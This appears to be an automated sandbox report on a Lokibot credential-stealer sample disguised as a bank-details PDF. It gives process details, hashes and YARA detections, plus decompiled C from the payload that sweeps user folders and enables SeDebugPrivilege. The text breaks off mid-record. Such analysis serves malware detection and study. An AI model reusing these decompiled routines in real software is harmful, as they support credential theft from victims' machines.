Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Detalles del banco.pdf.exe PID: 6408 Parent PID: 5860

General

Start time:	22:06:29
Start date:	27/07/2021
Path:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Detalles del banco.pdf.exe'
Imagebase:	0xb30000
File size:	551424 bytes
MD5 hash:	3965FECA216CDE849F987B614794B46C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: Detalles del banco.pdf.exe PID: 7120 Parent PID: 6408

General

Start time:	22:07:11
Start date:	27/07/2021
Path:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
Wow64 process (32bit):	false
Commandline:	{path}
Imagebase:	0x10000
File size:	551424 bytes
MD5 hash:	3965FECA216CDE849F987B614794B46C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: Detalles del banco.pdf.exe PID: 7128 Parent PID: 6408

General

Start time:	22:07:12
Start date:	27/07/2021
Path:	C:\Users\user\Desktop\Detalles del banco.pdf.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xa00000
File size:	551424 bytes
MD5 hash:	3965FECA216CDE849F987B614794B46C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Detalles del banco.pdf.exe PID: 6408 Parent PID: 5860 Detalles del banco.pdf.exeCOMMON

Executed Functions

Function 014CAAC8, Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014CAD0E

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d8484c5da3cb2d1fc10c49b60ce1f760fa3d38db9010a4e76632df5ba0e66fd2
Instruction ID: a8efbe6b484f2a4efc509622b8cb861609864cbb725951bf1fec63b0369288be
Opcode Fuzzy Hash: d8484c5da3cb2d1fc10c49b60ce1f760fa3d38db9010a4e76632df5ba0e66fd2
Instruction Fuzzy Hash: 1E715574A00B098FD764DF2AD48075BBBF2BF88604F108A2EE54AD7B50E774E8458F91

Uniqueness

Uniqueness Score: -1.00%

Function 014C4224, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014C5729

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ec677cc02d0743a7b3b641127450f9c5de06bf37271fc0311628e9645926d397
Instruction ID: 630849dc31aa14c4fb0fba497106abba448638155fadcfcc41b832b3097e5e10
Opcode Fuzzy Hash: ec677cc02d0743a7b3b641127450f9c5de06bf37271fc0311628e9645926d397
Instruction Fuzzy Hash: 8B411275D00618CBDB24DFA9C884B9EBBB5FF48304F24806ED409AB250DB756946CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 014C566C, Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014C5729

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9cf1f3bf32ddbd72a56d13c98d9e1cad0ebc42b6ce3cc88e0ad59cb5a798d129
Instruction ID: 1c72f41c528de9cd1ef189a8b3405e5d6ef4d2b22851896032e814c65b30c703
Opcode Fuzzy Hash: 9cf1f3bf32ddbd72a56d13c98d9e1cad0ebc42b6ce3cc88e0ad59cb5a798d129
Instruction Fuzzy Hash: E2410175D00619CEDB24DFA9C884BDEBBB1FF48304F24816ED409AB250DB756986CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 014CB478, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,014CD3A6,?,?,?,?,?), ref: 014CD467

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 40577033d6cfe32d917592b7ac9fb4672b35b6f0c36d27f67b5cb5b92b1c3194
Instruction ID: a164a21a45856260d379f3bce6d88c877e32f107c895ad3e1ea60e2fbca6914d
Opcode Fuzzy Hash: 40577033d6cfe32d917592b7ac9fb4672b35b6f0c36d27f67b5cb5b92b1c3194
Instruction Fuzzy Hash: 7B2104B5D00208DFDB10CFAAD884ADEBBF4EB48320F14846AE915A7351D378A955CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014CB484, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,014CD3A6,?,?,?,?,?), ref: 014CD467

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 662153face601cb620d8999f0d188ddbb2e89466c0bd89200e0941e882f8c195
Instruction ID: 7f34c454203185bdd997522bd739324afb22b4e4f753a351df3021e2336f345d
Opcode Fuzzy Hash: 662153face601cb620d8999f0d188ddbb2e89466c0bd89200e0941e882f8c195
Instruction Fuzzy Hash: 1A21E7B5D00209DFDB10CFA9D884ADEFBF4EB48324F14802AE915A3310D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014CD3D8, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,014CD3A6,?,?,?,?,?), ref: 014CD467

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 18dce9db1fd1fc79301393ca80988c5b5377d69661e3f2b90fef1e3998ce33eb
Instruction ID: 35a1e92484ee1d7e388e5f929635d2a13f630832d2ec11ee087e61c7268119e4
Opcode Fuzzy Hash: 18dce9db1fd1fc79301393ca80988c5b5377d69661e3f2b90fef1e3998ce33eb
Instruction Fuzzy Hash: 3A21D6B5D00209EFDB10CFAAD884ADEFBF4EB48324F15802AE955A7310D374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014C9E78, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,014CAD89,00000800,00000000,00000000), ref: 014CAF9A

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e0b12624283f7c93a4e7350189762b46ee478176f0d554cb83b68ec798d805c2
Instruction ID: a652106f871c24ec205951a212615ffc5132a737422fe4fa3458d27d1afa683e
Opcode Fuzzy Hash: e0b12624283f7c93a4e7350189762b46ee478176f0d554cb83b68ec798d805c2
Instruction Fuzzy Hash: C21144B69042099FCB10CFAAD844BDEFBF4EB48324F10842EE515A7350C374A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 014CAF28, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,014CAD89,00000800,00000000,00000000), ref: 014CAF9A

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b80ea768d83185648f71f20074f7658a55e52f72087c92d3841053129d59782f
Instruction ID: 52f27706d8796c2020bd225e6a649c0527d2b4a5ac9664c116c4a1e03e7a6103
Opcode Fuzzy Hash: b80ea768d83185648f71f20074f7658a55e52f72087c92d3841053129d59782f
Instruction Fuzzy Hash: FF1114B6D002099FDB10CFAAD844ADEFBF4EB48324F14842EE515A7350D375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014CACA8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014CAD0E

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: dd780f867ecf038d504385b2f227e14d67f51308410444e82e19bb93354d9ae3
Instruction ID: 8738eb0360858d1037b22afd9d0bf43a15b64cfe911eb6700741c9724333313a
Opcode Fuzzy Hash: dd780f867ecf038d504385b2f227e14d67f51308410444e82e19bb93354d9ae3
Instruction Fuzzy Hash: 651113B6C006498FDB20CF9AD844BDEFBF4EF88624F14851AD819A7310D374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433749059.000000000125D000.00000040.00000001.sdmp, Offset: 0125D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a9c7af6860e352f159d07d71abe24f7b52e810d001952b8bd0f7eefe99687f7
Instruction ID: ace1bd68405ba2499b72a0b14bb6bfd90b65acae5280a29bb79723c6fc4e7b40
Opcode Fuzzy Hash: 2a9c7af6860e352f159d07d71abe24f7b52e810d001952b8bd0f7eefe99687f7
Instruction Fuzzy Hash: 482122B1514249DFDB51DF94E8C0B66BF65FB8832CF24C5A9ED054B206C336E846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0126D1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433860756.000000000126D000.00000040.00000001.sdmp, Offset: 0126D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761e933b567bceaf505517576a9189c405cb931dd17913cd602ae25badc61d1e
Instruction ID: b1d60dbaec0d8cf902554edf49d6449a216351d4e2152de180255798628a46f3
Opcode Fuzzy Hash: 761e933b567bceaf505517576a9189c405cb931dd17913cd602ae25badc61d1e
Instruction Fuzzy Hash: 372167B061420CDFDB01CF94D8C0B26BB69FB84324F24C5ACE9894B283C376D886CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0126D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433860756.000000000126D000.00000040.00000001.sdmp, Offset: 0126D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa267101abba1eebe254d71022500e673f34210bef69db36b1cd27dce8d7530
Instruction ID: 0613d562e80e5b5b6eb5bd99236ad4f2f6b72533f07542f34f2130d28f13a85d
Opcode Fuzzy Hash: 1fa267101abba1eebe254d71022500e673f34210bef69db36b1cd27dce8d7530
Instruction Fuzzy Hash: 14214574614208DFCB10CF94D8C0B26BB69FB84354F24C9A9E9894B286C337D887CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0125D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433749059.000000000125D000.00000040.00000001.sdmp, Offset: 0125D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184b28d4c02099fc0a852538407da5dc7e76361d293f30cbc9c792e0a6473fb9
Instruction ID: 4f9992973d583281561c724c93fd78c1efb202b73d20dcc483e52fc65d7cdd8d
Opcode Fuzzy Hash: 184b28d4c02099fc0a852538407da5dc7e76361d293f30cbc9c792e0a6473fb9
Instruction Fuzzy Hash: 5411AF76404284CFCB12CF54E9C4B16BF71FB84328F2486A9DD450B616C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0126D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433860756.000000000126D000.00000040.00000001.sdmp, Offset: 0126D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a50eb1ea87dfee72d6b871baeb290936708f59e98a32fcf65e78a96e58bb0a8
Instruction ID: 1c10d6b3cf3a1becbdeea2d522bdddf90a52b196a76eec070a58cc903d2532f4
Opcode Fuzzy Hash: 7a50eb1ea87dfee72d6b871baeb290936708f59e98a32fcf65e78a96e58bb0a8
Instruction Fuzzy Hash: A111BE75504288CFCB12CF54D5C4B15FB61FB84314F24C6A9D9494B696C33BD44ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0126D1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433860756.000000000126D000.00000040.00000001.sdmp, Offset: 0126D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a50eb1ea87dfee72d6b871baeb290936708f59e98a32fcf65e78a96e58bb0a8
Instruction ID: a122906e605987366cae8ccef91883fff500eddf372541b2fb8991caa696145b
Opcode Fuzzy Hash: 7a50eb1ea87dfee72d6b871baeb290936708f59e98a32fcf65e78a96e58bb0a8
Instruction Fuzzy Hash: 2111BB75A04288DFDB12CF54D5C0B15FBA1FB84224F28C6A9D9894B697C33AD48ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0125D745, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433749059.000000000125D000.00000040.00000001.sdmp, Offset: 0125D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1946ca69b35ad3f175f4d1657dc0141ad308b967e09f7873febcb7eee86ede
Instruction ID: dab2575370462d503aec762f9f7f2e4ada5acaa6bdacbf9b544c012e495dd0b1
Opcode Fuzzy Hash: 4e1946ca69b35ad3f175f4d1657dc0141ad308b967e09f7873febcb7eee86ede
Instruction Fuzzy Hash: 360147714183889AE7645F69CCC4B66BB9CEF41238F08855AFE044B243D3789804C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0125D744, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.433749059.000000000125D000.00000040.00000001.sdmp, Offset: 0125D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32a144a8fc87075cab7dd9a00f157b5949bca91f0fa9f803d4fd13a00c66735
Instruction ID: db970c9e20777ab2a973e2e3a4b1698b754c5301ddfe2255b872d599bd3fe308
Opcode Fuzzy Hash: c32a144a8fc87075cab7dd9a00f157b5949bca91f0fa9f803d4fd13a00c66735
Instruction Fuzzy Hash: 46F0F6714043849EE7158E19DCC4B62FF98EB41334F18C15AFE084B287C3799844CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 014CD2E4, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.434223325.00000000014C0000.00000040.00000001.sdmp, Offset: 014C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f524d3e8ccd37cf35ca24895a02523c2436aa2420de44b0fe1208a05d915d7
Instruction ID: 117a6726520d2eff8c197cb3f5d80f4d9544be5fb29378337b6840ab61ea0869
Opcode Fuzzy Hash: c0f524d3e8ccd37cf35ca24895a02523c2436aa2420de44b0fe1208a05d915d7
Instruction Fuzzy Hash: 2BA16B36E0021ADFCF05DFA5C8445DEBBB2FF94700B15856EE905BB221EB35A959CB40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Detalles del banco.pdf.exe PID: 7128 Parent PID: 6408 Detalles del banco.pdf.exeCOMMON

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
%s\*, xrefs: 00403D99
Windows, xrefs: 00403DEA

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

